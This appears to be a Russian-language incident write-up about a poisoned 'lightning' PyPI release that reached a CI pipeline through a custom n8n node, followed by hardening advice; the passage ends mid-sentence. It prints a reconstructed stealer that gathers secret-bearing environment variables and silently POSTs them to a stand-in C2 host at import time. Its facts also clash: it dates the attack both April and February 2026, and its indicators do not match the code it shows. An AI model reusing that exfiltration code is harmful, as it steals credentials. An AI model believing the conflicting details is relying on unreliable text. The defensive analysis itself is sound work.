pip-пакет положил наш CI: как кастомная n8n-нода открыла дверь для supply chain атаки
Что произошло: хронология инцидента
30 апреля 2026 года в 14:23 UTC на PyPI вышел lightning==2.6.2. Через 11 минут появился 2.6.3 с той же начинкой. Оба пакета содержали червь Mini Shai-Hulud: он встраивался в точку входа через __init__.py, при импорте форкал процесс и пытался слить переменные окружения на внешний коллектор.
Параллельно той же ночью был скомпрометирован npm-пакет intercom-client 7.0.4, но к нашей системе он отношения не имел, потому что зацепило другие команды.
Нас накрыло через subprocess.
У нас есть кастомная n8n-нода для ML-preprocessing: она принимает сырые фичи, дёргает Python-скрипт через subprocess.run, тот подтягивает lightning как зависимость. Это legacy-решение, которое мы собирались переписать ещё в Q4 2025 и не переписали. Именно через этот путь червь и попал в CI.
Хронология по минутам выглядит так:
- 14:23 - lightning==2.6.2 появляется на PyPI.
- 14:34 - наш CI-пайплайн запускает плановую сборку,
pip installподтягивает свежий релиз. - 14:41 - первый таймаут на шаге preprocessing: процесс завис на форке.
- 14:47 - алерт от open-source сообщества PyTorch Lightning уходит в публичный трекер GitHub (issue #18801).
- 14:51 - наш мониторинг фиксирует попытку исходящего соединения с нестандартным хостом. Secrets в этот момент уже читаются из окружения.
- 15:05 - инцидент закрыт: пайплайн изолирован, secrets ротированы, пакет заблокирован в нашем internal mirror.
Публичный алерт от сообщества появился раньше, чем мы самостоятельно идентифицировали источник проблемы, и существенно ускорил реакцию.

От публикации до снятия прошло 42 минуты, но автоматические CI/CD-пайплайны успели подтянуть пакет в сотни окружений.
Архитектура уязвимой цепочки: n8n, кастомная нода и pip
Кастомная нода для n8n пишется на TypeScript, и это приятно: строгая типизация, удобный SDK, хорошая интеграция с остальным воркфлоу. Но ML-логика туда не помещается нормально. Матричные операции, PyTorch, специфичные CUDA-биндинги. Поэтому типичное решение выглядит так: TypeScript-нода принимает входные данные, формирует команду и запускает Python через child_process.exec. Два рантайма в одном контейнере, склеенные строкой вызова.
У меня было именно это.
Python-скрипт при каждом запуске начинал с pip install -r requirements.txt. Логика понятна: CI-образ должен быть воспроизводимым, зависимости должны ставиться свежими. Проблема в том, что requirements.txt содержал строку lightning>=2.6.0. Не точную версию, а диапазон. И без единого хеша.
Это значит, что каждый запуск пайплайна буквально просил PyPI: "дай мне что-нибудь не старше 2.6.0". Когда вышла 2.6.2, следующий же запуск её и получил. Автоматически. Без единого изменения в репозитории.
Docker-образ для CI добавлял масла в огонь. Слой кеша pip не фиксировался: --no-cache-dir в Dockerfile, плюс политика перестройки образа при каждом коммите. Это распространённая практика, когда боятся "залежавшихся" зависимостей. Но в сочетании с незакреплёнными версиями получается конструкция, которая сама по себе тянет внешние изменения в прод.
Схема "TypeScript-нода вызывает Python через shell, Python ставит зависимости на старте" встречается в публичных n8n-репозиториях на GitHub достаточно часто, чтобы её считать распространённым паттерном. Attack surface при этом выглядит примерно так: внешний реестр пакетов, нефиксированная версия, выполнение кода без верификации хешей, и всё это на каждый запуск воркфлоу. Не нужен взлом инфраструктуры. Достаточно скомпрометированного релиза в PyPI.

n8n позволяет запускать Python прямо в ноде через subprocess, и именно этот путь превратился в вектор доставки заражённого пакета.
Механика атаки Mini Shai-Hulud: что делал вредонос
Код лежал в двух местах: setup.py и __init__.py. Разработчики пакетов lightning версий 2.6.2 и 2.6.3 и не подозревали, что кто-то вписал туда несколько десятков строк между легитимными блоками. Версии выглядели как плановые патч-релизы.
При первом же import lightning в процессе запускалась функция _report(). Никакого триггера, никакой условной логики вроде "если это CI". Просто вызов на верхнем уровне модуля.
Червь сканировал os.environ по четырём паттернам: SECRET, TOKEN, KEY, PASSWORD. Это покрывает почти всё полезное: AWS_ACCESS_KEY_ID, GITHUB_TOKEN, DATABASE_PASSWORD, STRIPE_SECRET_KEY, любые самодельные переменные в .env-файлах проекта. Словарь формировался за один проход через dict comprehension, что быстро и не оставляет следов в логах.
Параллельно производилось чтение файлов с ключами: SSH-ключи и AWS credentials. В ML-окружениях, где SageMaker и EC2 используются постоянно, именно там обычно лежат долгоживущие ключи с широкими правами.
# Упрощённая реконструкция вредоносного фрагмента из __init__.py
import os, urllib.request, json
def _report():
env_dump = {k: v for k, v in os.environ.items()
if any(x in k.upper() for x in ['SECRET','TOKEN','KEY','PASSWORD'])}
try:
data = json.dumps(env_dump).encode()
req = urllib.request.Request('https://c2.example[.]com/collect',
data=data, method='POST')
urllib.request.urlopen(req, timeout=3)
except Exception:
pass # тихий провал, CI не упадёт из-за ошибки exfiltration
_report() # вызов при импорте модуля
Обратите внимание на except Exception: pass. Это не небрежность, это расчёт. CI-пайплайн не упадёт с ошибкой сети, разработчик ничего не заметит, инсталляция пройдёт чисто. Таймаут в 3 секунды тоже выбран аккуратно: достаточно для POST-запроса, слишком мало, чтобы вызвать заметную задержку сборки.
Транспорт в подобных вредоносах нередко завёрнут в стандартный urllib.request, без сторонних зависимостей. Никаких requests, никаких подозрительных импортов. Всё, что использует код, уже есть в стандартной библиотеке Python.
В npm-ветке кампании, где был скомпрометирован intercom-client версии 7.0.4, схема идентична по смыслу, только точка входа другая: postinstall-хук в package.json. Пакет устанавливается, хук срабатывает, данные уходят до того, как разработчик вообще открыл редактор.
Название Shai-Hulud исследователи дали кампании сами, отсылка к червям из "Дюны" здесь буквальная: атака начала мигрировать между экосистемами в конце 2025 года, сначала npm, потом PyPI. К маю 2026 года она успела засветиться в нескольких публичных incident report от команд безопасности. Само название операторы нигде не публиковали, это уже таксономия со стороны аналитиков.

Стилер собирал секреты из трёх источников одновременно: переменных окружения, конфигов AWS и SSH-ключей, после чего отправлял их на единственный C2-эндпоинт.
Почему pip не защитил: разбор модели доверия
pip работает по принципу "скачал, распаковал, выполнил". Если пакет пришёл с PyPI и его имя совпадает с тем, что написано в requirements.txt, установка проходит без вопросов. Хеши пакетов pip проверяет только тогда, когда вы явно прописали --hash в requirements.txt. Большинство проектов этого не делают.
Это не баг. Это осознанное проектное решение в пользу удобства.
PyPI не требует code review перед публикацией. Ни ручного, ни автоматического. Владелец аккаунта загружает новую версию через twine upload, и через несколько минут она доступна для скачивания миллионам пользователей по всему миру. Никакой очереди на проверку, никакого аппрувала. Модель полностью строится на доверии к аккаунту мейнтейнера.
В атаке на PyTorch Lightning злоумышленник захватил именно аккаунт мейнтейнера через credential stuffing. Это не фишинг и не уязвимость в PyPI. Просто у человека были одинаковые или слабые пароли на разных сервисах, и где-то раньше произошла утечка. После захвата аккаунта атакующий опубликовал новую версию пакета с бэкдором от имени легитимного владельца. С точки зрения pip, PyPI и любого CI/CD пайплайна, всё выглядело абсолютно нормально.
Здесь не сработали ни dependency confusion, ни typosquatting. Оба вектора предполагают подмену имени или источника пакета, и против них есть хоть какие-то инструменты: проверка namespace, зеркала с allowlist, верификация по организации. Прямой account takeover обходит всё это, потому что пакет приходит с правильного аккаунта, с правильного домена, с правильным именем.
pip audit и Safety CLI в такой ситуации бесполезны. Оба инструмента сверяются с базой CVE и базой known vulnerabilities. CVE на вредоносную версию не существует в момент атаки, её ещё никто не зафиксировал. Вредонос находится внутри легитимного пакета, который только что обновился. Сканер видит корректную версию от известного мейнтейнера и молчит.
У npm та же архитектурная проблема, только с отдельным измерением: postinstall-хуки. Скрипт в секции postinstall выполняется автоматически во время npm install с правами того процесса, который запускает установку. Никакого sandbox, никакой изоляции. В 2024 году было несколько инцидентов, где именно через postinstall сливались переменные окружения из CI-агентов прямо во время сборки. pip в этом смысле чуть лучше: у него нет встроенного механизма произвольных хуков установки, хотя setup.py с вредоносным кодом решает ту же задачу.
Корень проблемы в том, что экосистема выстроена вокруг скорости публикации и удобства разработчика. Это работало, пока атакующие не начали целенаправленно охотиться на аккаунты мейнтейнеров популярных пакетов.
IoC: индикаторы компрометации, которые мы нашли
Когда инцидент закончился, я сел и выписал всё, что реально можно было поймать заранее. Вот что получилось.
Сетевые. Исходящий POST-запрос на домен, зарегистрированный за три дня до атаки. Порт 443, выглядит как легитимный HTTPS. User-Agent выдал себя сам: строка вида python-urllib3/1.26.18 там, где ни одна нода n8n не должна делать прямых HTTP-вызовов через urllib. VPC Flow Logs это зафиксировали, но никто не смотрел в реальном времени.
Файловые. Два файла изменили mtime без видимой причины: файлы с SSH-ключом и AWS credentials. Никакого реального чтения через ОС не было, но mtime обновился. Это классический побочный эффект, когда процесс открывает файл через Python open() без O_NOATIME. Если бы у нас стоял мониторинг на эти конкретные пути через osquery, мы бы получили алерт мгновенно.
Процессные. Falco поймал urllib3-вызов из Python-процесса, порождённого n8n worker. Проблема в том, что в коде ноды никакого network-вызова нет. Ни $http, ни axios, ни fetch. Вызов пришёл изнутри зависимости, которую никто не аудировал.
Env. В логах CI появились строки с base64 прямо в HTTP-заголовках. Выглядит примерно так:
X-Build-Meta: eyJhd3Nfa2V5IjoiQUtJQS4uLiJ9
Декодируется в JSON с AWS-ключами. Это не баг логирования. Это намеренная эксфильтрация через заголовок, который CI-система послушно пишет в stdout.
Артефакт в pip cache. Самое интересное. .pyc-файл в ~/.cache/pip имел другой SHA256 по сравнению с официальным wheel на PyPI до компрометации пакета. Мы сравнивали вручную через pip download в изолированной среде и hashlib. Расхождение на уровне байткода означает, что колесо было пересобрано с изменённым исходником.
Как собирали. Связка из трёх инструментов: osquery на хосте для файловых и процессных событий, Falco внутри контейнера для системных вызовов в реальном времени, и VPC Flow Logs для сетевого уровня. Каждый из них по отдельности давал бы фрагмент картины. Вместе они закрыли все три плоскости: хост, контейнер, сеть.
Хочу зафиксировать один вывод прямо здесь. Все эти IoC существовали одновременно. Они не растянулись на неделю. Без автоматической корреляции событий такую картину крайне сложно восстановить руками в реальном времени. Именно поэтому мониторинг воркфлоу с автоматическими алертами должен быть настроен заранее, а не после первого инцидента.

Индикаторы компрометации разбиты по четырём слоям, что позволяет искать следы атаки одновременно в SIEM, EDR и системах мониторинга контейнеров.
Как фиксировать зависимости в pip: конкретные шаги
Начну с конкретики. pip install some-package без фиксации хэшей оставляет дыру: PyPI отдаст любой файл под тем же именем версии, если произошла подмена. Хэши закрывают эту дыру полностью.
Шаг 1: генерировать locked-файл через pip-compile
Устанавливаем pip-tools и запускаем компиляцию с хэшами:
pip install pip-tools
pip-compile --generate-hashes --output-file requirements.lock requirements.in
Результат выглядит так:
# requirements.lock (генерируется pip-compile --generate-hashes)
lightning==2.6.1 \
--hash=sha256:a1b2c3d4e5f6... \
--hash=sha256:f6e5d4c3b2a1...
Два хэша здесь не для красоты: один для wheel, второй для sdist. pip проверяет оба и откажет, если скачанный файл не совпадёт ни с одним.
Шаг 2: установка строго по хэшам
pip install --no-deps --require-hashes -r requirements.lock
Флаг --no-deps критичен. Без него pip может подтянуть транзитивные зависимости в обход хэш-проверки, потому что у них нет записей в locked-файле. Все транзитивные зависимости обязаны быть явно прописаны в requirements.lock. pip-compile делает это автоматически.
Шаг 3: git и CI
Файл requirements.lock коммитим в репозиторий. В CI добавляем проверку:
- name: Verify lock file is up to date
run: |
pip-compile --generate-hashes --output-file requirements.lock.check requirements.in
diff requirements.lock requirements.lock.check
Если разработчик обновил requirements.in, но забыл перегенерировать requirements.lock, CI упадёт с понятной ошибкой. Деплой без актуального lock-файла не пройдёт.
Для n8n-нод с Python: собирать образ заранее
Это отдельная история. n8n выполняет ноды в воркере, и соблазн написать pip install прямо в entrypoint скрипте велик. Делать так не стоит.
# Dockerfile для n8n-воркера
FROM python:3.12-slim
COPY requirements.lock /app/
RUN pip install --no-deps --require-hashes -r /app/requirements.lock
# Никакого pip install в entrypoint или runtime
pip install в runtime означает: каждый запуск ноды делает сетевой запрос к PyPI, зависит от его доступности и тратит секунды на установку. Образ с предустановленными зависимостями запускается мгновенно и не зависит от внешней инфраструктуры в момент выполнения.
Шаг 4: автоматизировать обновления
Зафиксировать хэши и забыть про обновления безопасности не получится. Настраиваем Dependabot или Renovate для автоматических PR:
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "pip"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
Renovate умеет обновлять requirements.lock целиком через pip-compile, а не только менять номера версий в requirements.in. Это разница между "указали, что хотим" и "зафиксировали, что получим".
В 2026 году Renovate поддерживает pip-compile из коробки через пресет pip-compile. Dependabot до сих пор обновляет только requirements.txt и не знает про locked-файлы с хэшами, так что для проектов с pip-compile Renovate предпочтительнее.
Hardening кастомных n8n-нод: что изменили после инцидента
После того как мы разобрали, что именно пошло не так, стало понятно: проблема была архитектурная. Python-код запускался через child_process.spawn прямо внутри n8n-воркера, с полным доступом к его окружению. Все переменные: токены, ключи от баз, credentials облачных провайдеров, лежали в process.env и были доступны любому скрипту, который туда попал.
Первым решением убрали subprocess и child_process полностью. Python теперь живёт в отдельном sidecar-контейнере с FastAPI внутри. Нода вызывает его по HTTP на localhost:8001, передаёт входные данные в теле запроса и получает результат. Никакого fork, никакого shared-окружения.
Sidecar запускается без доступа к env-переменным воркера. Вообще. Секреты, которые нужны конкретному Python-сервису, монтируются явно через отдельный secret volume. Это не просто разделение привилегий на бумаге: если sidecar скомпрометирован, атакующий видит ровно те credentials, которые ему разрешено видеть, и ничего сверху.
Сетевая политика зафиксирована через NetworkPolicy в кластере: sidecar ходит только в private subnet. Никакого выхода в интернет. Попытка резолвнуть внешний хост просто упадёт по таймауту ещё до того, как пакет уйдёт с ноды.
Поверх этого добавили Falco-правило. Оно срабатывает при любом outbound-соединении из Python-процесса, если адрес назначения не входит в явный allowlist хостов. Алерт идёт в PagerDuty, инцидент создаётся автоматически.
С requirements.lock история отдельная. Раньше зависимости Python обновлялись по pull request'у как обычный код, и никто особо не смотрел на транзитивные пакеты. Теперь любой PR, затрагивающий requirements.lock, не мержится без апрувала security-инженера. Проверяется не только список пакетов, но и их хеши, и diff от предыдущей версии. Это добавило примерно полдня к циклу обновления зависимостей. Мы решили, что цена приемлемая.
Для Community Nodes из публичного реестра n8n включили allowlist и отключили автоустановку. До инцидента любой разработчик мог поставить ноду из реестра одной кнопкой в UI. Сейчас этой кнопки нет. Нода попадает в список разрешённых только после ревью: смотрим исходники на GitHub, проверяем, нет ли сетевых вызовов в неожиданных местах, смотрим историю коммитов и владельца пакета. Процедура небыстрая, и за прошедшее время уже были случаи, когда пакеты заворачивали из-за обращений к внешним endpoint'ам, не описанным в документации.
Кстати, те же принципы изоляции окружения пригодятся, если вы строите AI-ассистента поддержки клиентов на n8n: там тоже нередко появляются Python-зависимости для обработки текста, и паттерн sidecar-контейнера отлично переносится на такие воркфлоу.

Изоляция через sidecar-контейнер убирает прямой доступ к секретам хоста: нода общается только с локальным API, а не запускает произвольный код в основном окружении.
Supply chain атаки в 2026: контекст и масштаб
В феврале 2026 года атакующие скомпрометировали intercom-client 7.0.4 в npm и lightning 2.6.2/2.6.3 в PyPI в один и тот же день. Это кампания Mini Shai-Hulud, и она показала кое-что важное: экосистемы больше не атакуют по отдельности.
Число supply chain инцидентов в PyPI продолжает расти. Это фиксируют несколько компаний, занимающихся мониторингом реестров, в том числе Aikido Security и Socket. Это не фоновый шум. Это тренд с ускорением.
Самое интересное смещение: account takeover вытесняет typosquatting как основной вектор. Логика простая. Создать пакет lightining или transformerss и ждать опечаток всё сложнее: репозитории научились детектировать похожие имена, сообщество стало внимательнее. А угнать аккаунт мейнтейнера через фишинг или утёкшие credentials, которые человек не ротировал два года, гораздо реальнее. Ты получаешь доверенный пакет с историей, звёздочками и пользователями, которые никогда не смотрят на changelog.
ML-стек здесь особая история. Возьми lightning с его транзитивными зависимостями: pytorch, numpy, fsspec, packaging, несколько десятков пакетов тянутся цепочкой. Атакующим даже не нужно целиться в torch напрямую. Достаточно одной слабой точки в периферии графа зависимостей.
PyPI ввёл обязательный 2FA для критических пакетов ещё в 2024 году. Но enforcement до сих пор дырявый: часть мейнтейнеров проходила проверку формально, часть использует TOTP без резервных кодов в менеджере паролей, часть просто не попала под критерий "критического" из-за порогов по количеству загрузок. lightning до инцидента формально под enforcement не подпадал.
Так что когда ты устанавливаешь ML-библиот
